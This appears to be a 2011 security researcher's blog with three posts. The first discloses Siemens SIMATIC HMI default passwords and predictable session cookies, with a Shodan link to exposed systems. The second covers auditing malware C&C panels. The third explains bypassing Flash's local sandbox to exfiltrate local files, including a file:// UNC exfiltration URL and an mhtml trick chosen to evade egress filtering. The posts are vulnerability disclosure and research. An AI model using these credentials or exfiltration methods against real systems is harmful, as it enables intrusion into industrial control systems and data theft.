Tuesday, December 20th, 2011
I have been working with ICS-CERT and various vendors over the last year, finding bugs and “responsibly” reporting nearly 1000 bugs… all for free and in my spare time. Overall, its been a great experience. Most of the vendors have been great to work with and ICS-CERT has done a great job managing all the bugs I’ve given them. In May of this year, I reported an authentication bypass for Siemens SIMATIC systems. These systems are used to manage Industrial Control Systems and Critical Infrastructure. I’ve been patiently waiting for a fix for the issue which affects pretty much every Siemens SIMATIC customer. Today, I was forwarded the following from Siemens PR (Alex Machowetz) via a Reuters reporter that made an inquiry about the bugs we reported:
“I contacted our IT Security experts today who know Billy Rios…. They told me that there are no open issues regarding authentication bypass bugs at Siemens.”
For all the other vendors out there, please use this as a lesson on how NOT to treat security researchers who have been freely providing you security advice and have been quietly sitting for half a year on remote authentication bypasses for your products.
Since Siemens has “no open issues regarding authentication bypass bugs”, I guess it’s OK to talk about the issues we reported in May. Either that or Siemens just blatantly lied to the press about the existence of security issues that could be used to damage critical infrastructure…. but Siemens wouldn’t lie… so I guess there is no authentication bypass.
These aren't the Auth Bypasses you're looking for
First, the default password for Siemens SIMATIC is “100”. There are three different services that are exposed when Siemens SIMATIC is installed; Web, VNC, and Telnet. The default creds for the Web interface is “Administrator:100”
and the VNC service only requires the user enter the password of “100”
(there is no user name). This is likely the vector pr0f used to gain access to South Houston
(but only he can say for sure). All the services maintain their credentials separately, so changing the default password for the web interface doesn’t change the VNC password (and vice versa). I’ve found MANY of these services listening on the Internet… in fact you can find a couple here: http://www.shodanhq.com/search?q=simatic+HMI
But WAIT, there's MORE!
But WAIT… there’s MORE! If a user changes their password to a new password that includes a special character, the password may automatically be reset to “100”. Yes, you read that correctly… if a user has any special characters in their password, it may be reset to “100”. You can read about these awesome design decisions (and many others) in the Siemens user manuals.
But WAIT… there’s MORE! So I took a look at what happens when an Administrator logs into the Web HMI. Upon a successful login, the web application returns a session cookie that looks something like this:
Looks pretty secure… right? Well, I harvested sessions from repeated, successful logins and this is what I saw:
Not so random huh…. If you decode these values, you’ll see something like this:
Totally predictable. For those non-techies reading this… what can someone do with this non-existent bug? They can use this to gain remote access to a SIMATIC HMI which runs various control systems and critical infrastructure around the world… aka they can take over a control system without knowing the username or password. No need to worry though, as there are “no open issues regarding authentication bypass bugs at Siemens.”
Next time, Siemens should think twice before lying to the press about security bugs that could affect the critical infrastructure….to everyone else, Merry Christmas
Friday, June 10th, 2011
I’m posting some of the research I’ve been working on over the last few months. I planned on submitting some of this research to the Blackhat/DEFCON CFP, but it looks like I’ll be tied up for most of the summer and I won’t be able to make it out to Vegas for BH or DEFCON this year (pour some out and “make it rain” for me). The gist of the research is this: I’ve collected of number of malware C&C software packages. I set up these C&Cs in a virtual network and audited the applications and source code (when available) for bugs. The results were surprising; most of the C&C software audited has pretty crappy security.
This week’s sample is an auth bypass and SQL injection on a BlackEnergy C&C page. The first of the samples can be found here: http://software-security.sans.org/blog/2011/06/10/spot-the-vuln-rabbit-authbypass-and-sqli
I’ll post more samples in the coming weeks.
Attacking malware C&C is an interesting proposition. Exploiting a single host can result in the transfer of hundreds or even thousands of hosts from one individual to another. I’m not the first to note that malware and C&C software is evolving. Gone are the days of simple IRC bots receiving clear text commands from an IRC server. Today’s C&C’s are full fledged, feature rich applications with much complexity. Complexity is the enemy of security, even malware authors cannot escape this. There is no magic bullet, even malware authors face the difficulties of writing secure code. This is especially so if their customers are paying money for C&C software and demand newer features and robust interfaces. Today’s malware landscape looks much like a typical software enterprise with paying customers, regularly scheduled feature updates, marketing, and a sprinkling of PR. Who knows, maybe in the near future these malware enterprises will have dedicated, on-call security engineering teams and a formal SDL process
Tuesday, January 4th, 2011
A few weeks ago, I posted a description of a set of bugs that could be chained together to do “bad things”. In the PoC I provided, a SWF file reads an arbitrary file from the victim’s local file system and passes the stolen content to an attacker’s server.
One of the readers (PZ) had a question about the SWFs local-with-filesystem sandbox, which should prevent SWFs loaded from the local file system from passing data to remote systems. Looking at the documentation related to the sandbox, we see the following:
Local file describes any file that is referenced by using the
protocol or a Universal Naming Convention (UNC) path. Local SWF files are placed into one of four local sandboxes:
The local-with-filesystem sandbox—For security purposes, Flash Player places all local SWF files and assets in the local-with-file-system sandbox, by default. From this sandbox, SWF files can read local files (by using the URLLoader class, for example), but they cannot communicate with the network in any way. This assures the user that local data cannot be leaked out to the network or otherwise inappropriately shared.
First, I think the documentation here is a bit too generous. SWFs loaded from the local file system do face some restrictions. The most relevant restrictions are probably:
- The SWF cannot call a HTTP or HTTPS request.
- Querystring parameters (ex. Blah.php?querystring=qs-value) are stripped and will not be passed (even for requests to local files)
Unfortunately, these restrictions are not the same as, “cannot communicate with the network in any way” which is what is stated in the documentation. The simplest way to bypass the local-with-filesystem sandbox is to simply use a file:// request to a remote server. For example, after loading the content from the local file system an attacker can simply pass the contents to the attacker server via getURL() and a url like: file://\\192.168.1.1\stolen-data-here\
Fortunately, it seems you can only pass IPs and hostnames for system on the local network (RFC 1918 addresses). If an attacker wants to send data to a remote server on the Internet we’ll have to resort to a couple other tricks. A while back, I put up a post on the dangers of blacklisting protocol handlers. It’s basically impossible to create a list of “bad” protocol handlers in siutation like this. In the case of the local-with-filesystem sandbox, Adobe has decided to prevent network access through the use of protocol handler blacklists. If we can find a protocol handler that hasn’t been blacklisted by Adobe and allows for network communication, we win.
There are a large number of protocol handlers that meet the criteria outlined in the previous sentence, but we’ll use the mhtml protocol handler as an example. The mhtml protocol handler is available on modern Windows systems, can be used without any prompts, and is not blacklisted by Flash. Using the mhtml protocol handler, it’s easy to bypass the Flash sandbox:
Some other benefits for using the mhtml protocol handler are:
- The request goes over http/https and port 80/443 so it will get past most egress filtering
- If the request results in a 404, it will silently fail. The data will still be transmitted to the attackers server, but the victim will never see an indication of the transfer
- The protocol handler is available by default on Win7 and will launch with no protocol handler warning